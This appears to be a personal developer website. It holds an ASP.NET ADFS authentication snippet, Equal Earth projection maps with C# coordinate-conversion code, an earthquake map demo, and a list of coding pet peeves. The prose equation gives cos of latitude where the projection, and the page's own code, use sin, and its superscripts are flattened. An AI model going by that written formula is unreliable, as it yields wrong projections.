o.MetadataAddress = builder.Configuration["adfs:metadataAddress"]; //#example "https://adfs.yourcompanyname.com/FederationMetadata.xml"
})
.AddCookie();

builder.Services.AddAuthorization(o =>
{
//map AD claims to site policies to keep everything in one place
o.AddPolicy(POLICY_ADMIN, p => p.RequireClaim(ClaimTypes.Role, AD_ROLE_ADMIN));
o.AddPolicy(POLICY_GUEST, p => p.RequireClaim(ClaimTypes.Role, AD_ROLE_GUEST));

//#example: use in the controller like [Authorize(Policy = Program.POLICY_ADMIN)]
});

builder.Services.AddRazorPages();


var app = builder.Build();

//the next part resulted to be important for adfs
var forwardingOptions = new ForwardedHeadersOptions()
{
ForwardedHeaders = ForwardedHeaders.XForwardedFor | ForwardedHeaders.XForwardedProto
};
forwardingOptions.KnownNetworks.Clear();
forwardingOptions.KnownProxies.Clear();
app.UseForwardedHeaders(forwardingOptions);

app.UseHttpsRedirection();
app.UseStaticFiles();

app.UseRouting();
app.UseStatusCodePages();

app.UseAuthentication();
app.UseAuthorization();

//irrelevant stuff like app.MapControllerRoute not shown

app.Run();
}
}
}

About

The map is an Equal Earth projection map and is based on a SVG I found on the project site. You can find more details here.

This map shows places I've been, with some nice photos. For now only a small number of places I want to show is shown.

Equal Earth maps

I created my map of the world based on a SVG I found on the Equal Earth projection site.

While it was super useful, there were a couple of flaws: the map mainly consisted of <polyline>-s (except Australia and some islands), sometimes not even connected to each other, making polygon coloring and selection operations tricky. Not to mention that there were no labels or comments with country names, only point coordinates.

So, I decided to do some work to make the map more friendly.
Here is what I have for now:

  • A Continents map (7 + Oceania), with continent names and some major areas labeled.
  • A Political map (I tried to keep the small island countries), with country names labeled.
  • The reduced-size versions: Continents map (light) and Political map (light).

Not too much, yet a good starting point to create your own maps.
Here is a little demo.

Placing objects over the map

Obviously, can be done manually.
But if you need some automation, here is an online convertor and the code.

The convertor



Some math

As the project site says, the equations for this projection are (parentheses and added for readability):

sinθ = (√3/2)·cosϕ
x = (2·√3·λ·cosθ) / (3·(A1 + 3·A2·θ2 + θ6·(7·A3 + 9·A4·θ2)))
y = θ·(A1 + A2·θ2 + θ6·(A3 + A4·θ2))

where λ is longitude, ϕ is latitude, A1 = 1.340264, A2 = -0.081106, A3 = 0.000893, A4 = 0.003796.

Some solution-specific details:

  • The formulas above will give values from -2.70663 to 2.70663 for x and from -1.31736 to 1.31736 for y.
  • The SVGs are 1117.39 per 544.06.
  • SVGs coordinates"origin" (0-point) is at the top left corner, geographic "origin" is approximately at the center of the map. The Y axes of the map and the SVGs point in opposite directions.
  • The maps above are centered at Florence meridian (11E), not Greenwich.
  • Coordinates like 63°44′N 11°15′E are "degrees", but most math libraries work with "radians".

The code

Github: C# JavaScript

C# JavaScript

using System.Drawing;

namespace YuskiTheDeveloper.EqualEarthMap
{
public static class EqualEarthHelper
{
private const float A1 = 1.340264F;
private const float A2 = -0.081106F;
private const float A3 = 0.000893F;
private const float A4 = 0.003796F;

private const float FlorenceLongitudeDegrees = 11F;

private const float SVGWidth = 1117.39F;
private const float SVGHeight = 544.06F;

private const float XMax = 2.706630F;
private const float YMax = 1.317363F;

public static PointF GetPointDegrees(float latitudeDegrees, float longitudeDegrees)
{
var latitudeRadians = GetRadians(latitudeDegrees);
var longitudeRadians = GetRadians(longitudeDegrees);
return GetPointRadians(latitudeRadians, longitudeRadians);
}

public static PointF GetPointRadians(float latituteRadians, float longitudeRadians)
{
longitudeRadians -= GetRadians(FlorenceLongitudeDegrees);
if (longitudeRadians < -Math.PI)
{
longitudeRadians += (float)(2 * Math.PI);
}

var notScaledPoint = GetPointInternal(latituteRadians, longitudeRadians);
var result = ScaleToSvg(notScaledPoint);
return result;
}

private static PointF GetPointInternal(float latituteRadians, float longitudeRadians)
{
var sinTheta = Math.Sqrt(3) / 2 * Math.Sin(latituteRadians);
var theta = Math.Asin(sinTheta);

var x = (2 * Math.Sqrt(3) * longitudeRadians * Math.Cos(theta)) / (3 * (A1 + 3 * A2 * Math.Pow(theta, 2) + Math.Pow(theta, 6) * (7 * A3 + 9 * A4 * Math.Pow(theta, 2))));
var y = theta * (A1 + A2 * Math.Pow(theta, 2) + Math.Pow(theta, 6) * (A3 + A4 * Math.Pow(theta, 2)));

return new PointF((float)x, (float)y);
}

private static PointF ScaleToSvg(PointF notScaledPoint)
{
var result = new PointF((float)((notScaledPoint.X + XMax) * (SVGWidth / (XMax * 2))), (float)((-(notScaledPoint.Y - YMax)) * (SVGHeight / (YMax * 2))));
return result;
}

private static float GetRadians(float degrees)
{
return (float)(Math.PI * degrees / 180.0F);
}
}
}

About

Earthquakes data is provided by USGS

This is a "Just For Fun" project and a small demo of my Equal Earth maps

Magnitudes on the map are:
• - less than 3.5
• - 3.5 to 5.5
• - 5.5 to 7
• - more than 7

A moment of hate

Here is my hate list:

  • Constructor dependency injection, scoped\transient\singleton stuff. Interfaces with only one implementation (especially if the project has little to no unit tests). Makes code less readable and overabstracted.
  • CQRS pattern without databases separation or caching or something. Increases complexity without a measurable goal.
  • Microservices running on the same physical server. The same as previous.
  • MV-something patterns, all of them. Bindings are OK. Makes code much less readable.
  • Automapper. MediatR. Turns compilation errors into non-obvious runtime errors.
  • Methods returning List-s instead of IEnumerable-s. Floating-point numbers where decimals are required. No input validation in API-s. Super common.
  • The lack of an elegant way to customize the appearence of some HTML elements. No HTML\CSS-only way to fix a <thead>. It is 2025 or 2005?
  • Desktop and mobile "applications" that are basically website wrappers. Just someone wanting to run a site with elevated privileges.
  • Daily meetings (but a project chat is a must). We all know what this is really for.
  • Fashion driven development.

A moment of love

  • Even so, I love making software:)